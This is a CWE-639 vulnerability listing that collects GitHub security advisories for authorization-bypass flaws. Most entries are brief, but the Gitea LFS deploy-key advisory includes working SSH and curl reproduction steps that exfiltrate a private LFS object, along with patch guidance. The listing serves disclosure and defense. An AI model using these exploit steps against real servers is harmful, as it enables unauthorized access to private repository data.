CWE-639
AllowedAuthorization Bypass Through User-Controlled Key
Abstraction: Base · Status: Incomplete
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
3800 vulnerabilities reference this CWE, most recent first.
GHSA-RH5Q-2GVC-HR3M
Vulnerability from github – Published: 2025-11-01 09:30 – Updated: 2025-11-01 09:30The Service Finder Bookings plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and excluding, 6.1. This is due to the plugin not properly validating a user's identity prior to updating their details like email. This makes it possible for authenticated attackers, with subscriber-level access and above, to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account.
{
"affected": [],
"aliases": [
"CVE-2025-6574"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-01T07:15:35Z",
"severity": "HIGH"
},
"details": "The Service Finder Bookings plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and excluding, 6.1. This is due to the plugin not properly validating a user\u0027s identity prior to updating their details like email. This makes it possible for authenticated attackers, with subscriber-level access and above, to change arbitrary user\u0027s email addresses, including administrators, and leverage that to reset the user\u0027s password and gain access to their account.",
"id": "GHSA-rh5q-2gvc-hr3m",
"modified": "2025-11-01T09:30:17Z",
"published": "2025-11-01T09:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6574"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/service-finder-service-and-business-listing-wordpress-theme/15208793"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/264cb002-bf40-4cc2-9c21-cda9bb24f494?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RH79-75QM-GWJR
Vulnerability from github – Published: 2026-07-21 21:00 – Updated: 2026-07-21 21:00Vulnerability Header
| Field | Value |
|---|---|
| Vulnerability Title | Gitea LFS Deploy-Key Privilege Escalation |
| Severity Rating | High |
| Bug Category | Insufficient Authorization |
| Location | services/lfs/server.go:268, routers/private/serv.go:275 |
| Affected Versions | 1.25.5 |
Executive Summary
Gitea's LFS server (services/lfs/server.go:268) uses the UserID embedded in an LFS JWT to make cross-repository authorization decisions via LFSObjectAccessible(). This would be safe if the JWT UserID always matched the actual requesting principal — but for deploy keys, routers/private/serv.go:275 sets UserID = repo.OwnerID instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH git-lfs-authenticate flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns — no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data.
Root Cause Analysis
Technical Description
The vulnerability is a trust-boundary confusion across two independent subsystems. When a deploy key authenticates over SSH, serv.go sets UserID = repo.OwnerID because the code has no better representation for a deploy key identity (a FIXME comment acknowledges this). That UserID is baked verbatim into the LFS JWT by cmd/serv.go. The JWT is then consumed by server.go, which treats claims.UserID as the authenticated principal and loads that user object as ctx.Doer. When the batch upload handler encounters an object that exists on disk but isn't yet linked to the target repo, it calls LFSObjectAccessible(ctx, ctx.Doer, oid) — a global query across all repos the claimed user can see — to decide whether to silently create the cross-repo link. The JWT's RepoID claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the UserID driving the cross-repo access decision is the repo owner, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check.
First Faulty Condition
The primary bug — where the JWT UserID is set incorrectly — is in serv.go:
| File | routers/private/serv.go |
|---|---|
| Line | 275 |
| Condition | Deploy key branch sets results.UserID = repo.OwnerID; the owner's UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in server.go:268 |
// routers/private/serv.go:252–278
if key.Type == asymkey_model.KeyTypeDeploy {
...
// FIXME: Deploy keys aren't really the owner of the repo pushing changes
// however we don't have good way of representing deploy keys in hook.go
// so for now use the owner of the repository
results.UserName = results.OwnerName
results.UserID = repo.OwnerID // ← OWNER's UID, not the deploy key
...
}
The secondary bug — where the tainted UserID is actually misused — is in server.go:
| File | services/lfs/server.go |
|---|---|
| Line | 268 |
| Condition | LFSObjectAccessible(ctx, ctx.Doer, oid) makes a cross-repo decision using the JWT UserID, which for deploy keys is the repo owner, not the deploy key holder |
// services/lfs/server.go:267–275
if exists && meta == nil {
accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
...
if accessible {
_, err := git_model.NewLFSMetaObject(ctx, repository.ID, p) // links OID to attacker's repo
...
}
}
Admin amplification: if victim.IsAdmin, models/git/lfs.go:226 short-circuits with a bare COUNT(*) over the entire lfs_meta_object table — no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.
Exploitability Assessment
Attack Vector & Reachability
| Attack vector | Network |
|---|---|
| Authentication required | Low: attacker must hold a write deploy key's private key material for any of victim's repositories |
| User interaction required | None |
| Reachable in default config | No. Requires LFS_START_SERVER = true |
| Entry point(s) | SSH git-lfs-authenticate command + HTTP LFS batch API |
The practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests — not enumerable and not brute-forceable — and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior git pull, and issue or pull request comments that reference pointer file contents.
LFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a post-revocation persistence primitive — after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.
Reproduction Steps
Environment
The issue was reproduced using gitea/gitea:1.25.5 docker image.
Setup (performed as victim/admin — represents normal deployment state)
# 1. Victim creates a private repo and uploads an LFS object
git clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git
cd secret-repo
git lfs track "*.bin"
echo "TOP SECRET: password is hunter2" > secret.bin
git add .gitattributes secret.bin && git commit -m "secret"
git push && git lfs push origin main
# Note the OID and size from:
git lfs pointer --file=secret.bin
# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b
# size 32
# 2. Victim creates ci-repo and registers a write deploy key
# (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access)
# Attacker holds the corresponding private key (e.g. leaked from CI config)
Exploit
# Step 1 — Obtain JWT via SSH using only the deploy key (no victim credentials)
ssh -i ~/.ssh/deploy_key -p 2222 git@localhost \
"git-lfs-authenticate victim/ci-repo upload"
# → {"header":{"Authorization":"Bearer eyJ..."},"href":"..."}
# Decode payload: {"RepoID":3,"Op":"upload","UserID":4,...}
# ^^^^^^^^ victim's UID — BUG
JWT="eyJ..."
OID="1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b"
SIZE=32
# Step 2 — Confirm attacker is blocked from secret-repo directly
curl -s -H "Authorization: Bearer $JWT" \
"http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID"
# → {"Message":"Unauthorized"} — correctly blocked
# Step 3 — Batch upload to ci-repo claiming the secret OID
curl -s -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.git-lfs+json" \
-H "Content-Type: application/vnd.git-lfs+json" \
"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch" \
-d "{\"operation\":\"upload\",\"transfers\":[\"basic\"],\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → {"objects":[{"oid":"1d4fed...","size":32}]} — NO "actions" field
# server silently linked the OID to ci-repo without demanding proof of possession
# Step 4 — Download the secret via ci-repo
curl -s -H "Authorization: Bearer $JWT" \
"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID"
# → TOP SECRET: password is hunter2
Expected output
Step 2: {"Message":"Unauthorized"} ← blocked from secret-repo
Step 3: {"objects":[{"oid":"1d4fed...","size":32}]} ← no actions = silently linked
Step 4: TOP SECRET: password is hunter2 ← exfiltrated via ci-repo
PoC files
- poc.sh — end-to-end PoC using real SSH deploy key
Recommended Fix
A proper fix might require significant architecture change. A short term recommendation is presented below:
Fix 1 — services/lfs/server.go:267 (defense in depth, immediately effective)
Remove the LFSObjectAccessible cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one RepoID; authorization decisions about other repos should not be made using the JWT UserID.
// BEFORE (vulnerable):
if exists && meta == nil {
accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
if err != nil {
log.Error("Unable to check if LFS MetaObject [%s] is accessible: %v", p.Oid, err)
writeStatus(ctx, http.StatusInternalServerError)
return
}
if accessible {
_, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)
if err != nil {
log.Error("Unable to create LFS MetaObject [%s] for %s/%s. Error: %v", p.Oid, rc.User, rc.Repo, err)
writeStatus(ctx, http.StatusInternalServerError)
return
}
} else {
exists = false
}
}
// After (safe):
if exists && meta == nil {
// Do not use ctx.Doer for cross-repo decisions — the JWT only authorizes
// access to this repo. Always require proof-of-possession for objects
// not already linked here.
exists = false
}
The client will re-upload the bytes (which are hash-verified). Performance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.
Full patch: fix1.patch
Fix 2 — routers/private/serv.go:275 (fix the source)
Stop embedding repo.OwnerID in the JWT for deploy keys. Options:
- Add a DeployKeyID field to the JWT Claims struct; teach handleLFSToken to construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited).
- Or mint a separate JWT type for deploy keys that server.go treats as repo-scoped only, refusing to use it for cross-repo operations.
Patch provenance: AI-generated + Human-reviewed
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58435"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:00:51Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Vulnerability Header\n\n| Field | Value |\n| ------------------- | ----------------------------------------------------------- |\n| Vulnerability Title | Gitea LFS Deploy-Key Privilege Escalation |\n| Severity Rating | High |\n| Bug Category | Insufficient Authorization |\n| Location | `services/lfs/server.go:268`, `routers/private/serv.go:275` |\n| Affected Versions | 1.25.5 |\n\n## Executive Summary\n\nGitea\u0027s LFS server (`services/lfs/server.go:268`) uses the `UserID` embedded in an LFS JWT to make cross-repository authorization decisions via `LFSObjectAccessible()`. This would be safe if the JWT `UserID` always matched the actual requesting principal \u2014 but for deploy keys, `routers/private/serv.go:275` sets `UserID = repo.OwnerID` instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH `git-lfs-authenticate` flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns \u2014 no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data.\n\n## Root Cause Analysis\n\n### Technical Description\n\nThe vulnerability is a **trust-boundary confusion** across two independent subsystems. When a deploy key authenticates over SSH, `serv.go` sets `UserID = repo.OwnerID` because the code has no better representation for a deploy key identity (a `FIXME` comment acknowledges this). That `UserID` is baked verbatim into the LFS JWT by `cmd/serv.go`. The JWT is then consumed by `server.go`, which treats `claims.UserID` as the authenticated principal and loads that user object as `ctx.Doer`. When the batch upload handler encounters an object that exists on disk but isn\u0027t yet linked to the target repo, it calls `LFSObjectAccessible(ctx, ctx.Doer, oid)` \u2014 a global query across all repos the claimed user can see \u2014 to decide whether to silently create the cross-repo link. The JWT\u0027s `RepoID` claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the `UserID` driving the cross-repo access decision is the repo *owner*, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check.\n\n### First Faulty Condition\n\nThe primary bug \u2014 where the JWT `UserID` is set incorrectly \u2014 is in `serv.go`:\n\n| File | `routers/private/serv.go` |\n| --------- | ------------------------------------------------------------------------------------------------- |\n| Line | 275 |\n| Condition | Deploy key branch sets `results.UserID = repo.OwnerID`; the owner\u0027s UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in `server.go:268` |\n\n```go\n// routers/private/serv.go:252\u2013278\nif key.Type == asymkey_model.KeyTypeDeploy {\n ...\n // FIXME: Deploy keys aren\u0027t really the owner of the repo pushing changes\n // however we don\u0027t have good way of representing deploy keys in hook.go\n // so for now use the owner of the repository\n results.UserName = results.OwnerName\n results.UserID = repo.OwnerID // \u2190 OWNER\u0027s UID, not the deploy key\n ...\n}\n```\n\nThe secondary bug \u2014 where the tainted `UserID` is actually misused \u2014 is in `server.go`:\n\n| File | `services/lfs/server.go` |\n| --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Line | 268 |\n| Condition | `LFSObjectAccessible(ctx, ctx.Doer, oid)` makes a cross-repo decision using the JWT `UserID`, which for deploy keys is the repo owner, not the deploy key holder |\n\n```go\n// services/lfs/server.go:267\u2013275\nif exists \u0026\u0026 meta == nil {\n accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)\n ...\n if accessible {\n _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p) // links OID to attacker\u0027s repo\n ...\n }\n}\n```\n\n**Admin amplification:** if `victim.IsAdmin`, `models/git/lfs.go:226` short-circuits with a bare `COUNT(*)` over the entire `lfs_meta_object` table \u2014 no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.\n\n## Exploitability Assessment\n\n### Attack Vector \u0026 Reachability\n\n| Attack vector | Network |\n| --------------------------- | -------------------------------------------------------------------------------------------------- |\n| Authentication required | Low: attacker must hold a write deploy key\u0027s private key material for any of victim\u0027s repositories |\n| User interaction required | None |\n| Reachable in default config | No. Requires `LFS_START_SERVER = true` |\n| Entry point(s) | SSH `git-lfs-authenticate` command + HTTP LFS batch API |\n\nThe practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests \u2014 not enumerable and not brute-forceable \u2014 and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior `git pull`, and issue or pull request comments that reference pointer file contents. \n\nLFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a **post-revocation persistence** primitive \u2014 after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.\n### Reproduction Steps\n\n**Environment**\n\nThe issue was reproduced using `gitea/gitea:1.25.5` docker image. \n\n**Setup** (performed as victim/admin \u2014 represents normal deployment state)\n\n```bash\n# 1. Victim creates a private repo and uploads an LFS object\ngit clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git\ncd secret-repo\ngit lfs track \"*.bin\"\necho \"TOP SECRET: password is hunter2\" \u003e secret.bin\ngit add .gitattributes secret.bin \u0026\u0026 git commit -m \"secret\"\ngit push \u0026\u0026 git lfs push origin main\n\n# Note the OID and size from:\ngit lfs pointer --file=secret.bin\n# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b\n# size 32\n\n# 2. Victim creates ci-repo and registers a write deploy key\n# (via UI: ci-repo \u2192 Settings \u2192 Deploy Keys \u2192 Add Deploy Key \u2192 enable write access)\n# Attacker holds the corresponding private key (e.g. leaked from CI config)\n```\n\n**Exploit**\n\n```bash\n# Step 1 \u2014 Obtain JWT via SSH using only the deploy key (no victim credentials)\nssh -i ~/.ssh/deploy_key -p 2222 git@localhost \\\n \"git-lfs-authenticate victim/ci-repo upload\"\n# \u2192 {\"header\":{\"Authorization\":\"Bearer eyJ...\"},\"href\":\"...\"}\n# Decode payload: {\"RepoID\":3,\"Op\":\"upload\",\"UserID\":4,...}\n# ^^^^^^^^ victim\u0027s UID \u2014 BUG\n\nJWT=\"eyJ...\"\nOID=\"1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b\"\nSIZE=32\n\n# Step 2 \u2014 Confirm attacker is blocked from secret-repo directly\ncurl -s -H \"Authorization: Bearer $JWT\" \\\n \"http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID\"\n# \u2192 {\"Message\":\"Unauthorized\"} \u2014 correctly blocked\n\n# Step 3 \u2014 Batch upload to ci-repo claiming the secret OID\ncurl -s -X POST \\\n -H \"Authorization: Bearer $JWT\" \\\n -H \"Accept: application/vnd.git-lfs+json\" \\\n -H \"Content-Type: application/vnd.git-lfs+json\" \\\n \"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch\" \\\n -d \"{\\\"operation\\\":\\\"upload\\\",\\\"transfers\\\":[\\\"basic\\\"],\\\"objects\\\":[{\\\"oid\\\":\\\"$OID\\\",\\\"size\\\":$SIZE}]}\"\n# \u2192 {\"objects\":[{\"oid\":\"1d4fed...\",\"size\":32}]} \u2014 NO \"actions\" field\n# server silently linked the OID to ci-repo without demanding proof of possession\n\n# Step 4 \u2014 Download the secret via ci-repo\ncurl -s -H \"Authorization: Bearer $JWT\" \\\n \"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID\"\n# \u2192 TOP SECRET: password is hunter2\n```\n\n**Expected output**\n\n```\nStep 2: {\"Message\":\"Unauthorized\"} \u2190 blocked from secret-repo\nStep 3: {\"objects\":[{\"oid\":\"1d4fed...\",\"size\":32}]} \u2190 no actions = silently linked\nStep 4: TOP SECRET: password is hunter2 \u2190 exfiltrated via ci-repo\n```\n\n**PoC files**\n\n- [poc.sh](https://github.com/user-attachments/files/28830752/poc.sh) \u2014 end-to-end PoC using real SSH deploy key\n\n## Recommended Fix\n\nA proper fix might require significant architecture change. A short term recommendation is presented below:\n\n**Fix 1 \u2014 `services/lfs/server.go:267` (defense in depth, immediately effective)**\n\nRemove the `LFSObjectAccessible` cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one `RepoID`; authorization decisions about *other* repos should not be made using the JWT `UserID`.\n```go\n// BEFORE (vulnerable):\nif exists \u0026\u0026 meta == nil {\n accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)\n if err != nil {\n log.Error(\"Unable to check if LFS MetaObject [%s] is accessible: %v\", p.Oid, err)\n writeStatus(ctx, http.StatusInternalServerError)\n return\n }\n if accessible {\n _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)\n if err != nil {\n log.Error(\"Unable to create LFS MetaObject [%s] for %s/%s. Error: %v\", p.Oid, rc.User, rc.Repo, err)\n writeStatus(ctx, http.StatusInternalServerError)\n return\n }\n } else {\n exists = false\n }\n}\n```\n\n```go\n// After (safe):\nif exists \u0026\u0026 meta == nil {\n // Do not use ctx.Doer for cross-repo decisions \u2014 the JWT only authorizes\n // access to this repo. Always require proof-of-possession for objects\n // not already linked here.\n exists = false\n}\n```\n\nThe client will re-upload the bytes (which are hash-verified). \nPerformance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.\n\nFull patch: [fix1.patch](https://github.com/user-attachments/files/28830753/fix1.patch)\n\n**Fix 2 \u2014 `routers/private/serv.go:275` (fix the source)**\n\nStop embedding `repo.OwnerID` in the JWT for deploy keys. Options:\n- Add a `DeployKeyID` field to the JWT `Claims` struct; teach `handleLFSToken` to construct a minimal synthetic principal with exactly the deploy key\u0027s permissions (single-repo, mode-limited).\n- Or mint a separate JWT type for deploy keys that `server.go` treats as repo-scoped only, refusing to use it for cross-repo operations.\n\nPatch provenance: AI-generated + Human-reviewed\n\n## Attribution\n\nThis vulnerability was discovered by Claude, Anthropic\u0027s AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.\n\nFor CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.",
"id": "GHSA-rh79-75qm-gwjr",
"modified": "2026-07-21T21:00:51Z",
"published": "2026-07-21T21:00:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-rh79-75qm-gwjr"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea LFS Deploy-Key Privilege Escalation"
}
GHSA-RH7W-XCQ5-PCFP
Vulnerability from github – Published: 2022-05-13 01:43 – Updated: 2022-05-13 01:43In Kanboard before 1.0.47, by altering form data, an authenticated user can add an external link to a private project of another user.
{
"affected": [],
"aliases": [
"CVE-2017-15211"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-11T01:32:00Z",
"severity": "MODERATE"
},
"details": "In Kanboard before 1.0.47, by altering form data, an authenticated user can add an external link to a private project of another user.",
"id": "GHSA-rh7w-xcq5-pcfp",
"modified": "2022-05-13T01:43:41Z",
"published": "2022-05-13T01:43:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15211"
},
{
"type": "WEB",
"url": "https://github.com/kanboard/kanboard/commit/074f6c104f3e49401ef0065540338fc2d4be79f0"
},
{
"type": "WEB",
"url": "https://github.com/kanboard/kanboard/commit/3e0f14ae2b0b5a44bd038a472f17eac75f538524"
},
{
"type": "WEB",
"url": "https://kanboard.net/news/version-1.0.47"
},
{
"type": "WEB",
"url": "http://openwall.com/lists/oss-security/2017/10/04/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RHF5-F553-XG82
Vulnerability from github – Published: 2021-11-23 18:18 – Updated: 2021-11-22 18:22Unauthorized individuals could view password protected files using view_inline in Concrete CMS (previously concrete 5) prior to version 8.5.7. Concrete CMS now checks to see if a file has a password in view_inline and, if it does, the file is not rendered.For version 8.5.6, the following mitigations were put in place a. restricting file types for view_inline to images only b. putting a warning in the file manager to advise users.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "concrete5/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-22951"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2021-11-22T18:21:13Z",
"nvd_published_at": "2021-11-19T19:15:00Z",
"severity": "MODERATE"
},
"details": "Unauthorized individuals could view password protected files using view_inline in Concrete CMS (previously concrete 5) prior to version 8.5.7. Concrete CMS now checks to see if a file has a password in view_inline and, if it does, the file is not rendered.For version 8.5.6, the following mitigations were put in place a. restricting file types for view_inline to images only b. putting a warning in the file manager to advise users.",
"id": "GHSA-rhf5-f553-xg82",
"modified": "2021-11-22T18:22:30Z",
"published": "2021-11-23T18:18:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22951"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1102014"
},
{
"type": "WEB",
"url": "https://documentation.concretecms.org/developers/introduction/version-history/857-release-notes"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Password exposure in concrete5/core"
}
GHSA-RHMP-R3FW-GGRC
Vulnerability from github – Published: 2024-11-23 06:32 – Updated: 2026-04-08 21:32The Enter Addons – Ultimate Template Builder for Elementor plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.1.9 via the Advanced Tabs widget due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to.
{
"affected": [],
"aliases": [
"CVE-2024-10868"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-23T04:15:07Z",
"severity": "MODERATE"
},
"details": "The Enter Addons \u2013 Ultimate Template Builder for Elementor plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.1.9 via the Advanced Tabs widget due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to.",
"id": "GHSA-rhmp-r3fw-ggrc",
"modified": "2026-04-08T21:32:57Z",
"published": "2024-11-23T06:32:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10868"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3195822%40enteraddons%2Ftrunk\u0026old=3148550%40enteraddons%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/enteraddons"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ff8e8889-ec02-4b8d-9509-2c6335fdd9a4?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RHPM-RX33-CFP8
Vulnerability from github – Published: 2026-08-18 15:31 – Updated: 2026-08-18 15:31Authorization bypass through User-Controlled key vulnerability in Netiket Information Technologies EdoWEB allows Accessing Functionality Not Properly Constrained by ACLs.
This issue affects EdoWEB: before 780-g7.
{
"affected": [],
"aliases": [
"CVE-2026-16309"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T13:17:20Z",
"severity": "MODERATE"
},
"details": "Authorization bypass through User-Controlled key vulnerability in Netiket Information Technologies EdoWEB allows Accessing Functionality Not Properly Constrained by ACLs.\n\nThis issue affects EdoWEB: before 780-g7.",
"id": "GHSA-rhpm-rx33-cfp8",
"modified": "2026-08-18T15:31:37Z",
"published": "2026-08-18T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16309"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0853"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RHQ7-G7CH-6MM7
Vulnerability from github – Published: 2026-01-08 12:30 – Updated: 2026-01-20 15:33Authorization Bypass Through User-Controlled Key vulnerability in WofficeIO Woffice Core woffice-core allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Woffice Core: from n/a through <= 5.4.30.
{
"affected": [],
"aliases": [
"CVE-2025-67919"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-08T10:15:50Z",
"severity": "HIGH"
},
"details": "Authorization Bypass Through User-Controlled Key vulnerability in WofficeIO Woffice Core woffice-core allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Woffice Core: from n/a through \u003c= 5.4.30.",
"id": "GHSA-rhq7-g7ch-6mm7",
"modified": "2026-01-20T15:33:09Z",
"published": "2026-01-08T12:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67919"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/woffice-core/vulnerability/wordpress-woffice-core-plugin-5-4-30-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/woffice-core/vulnerability/wordpress-woffice-core-plugin-5-4-30-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RJ4P-QC9G-J2P3
Vulnerability from github – Published: 2025-12-05 00:31 – Updated: 2025-12-05 00:31The SolisCloud API suffers from a Broken Access Control vulnerability, specifically an Insecure Direct Object Reference (IDOR), where any authenticated user can access detailed data of any plant by altering the plant_id in the request.
{
"affected": [],
"aliases": [
"CVE-2025-13932"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-04T22:15:47Z",
"severity": "HIGH"
},
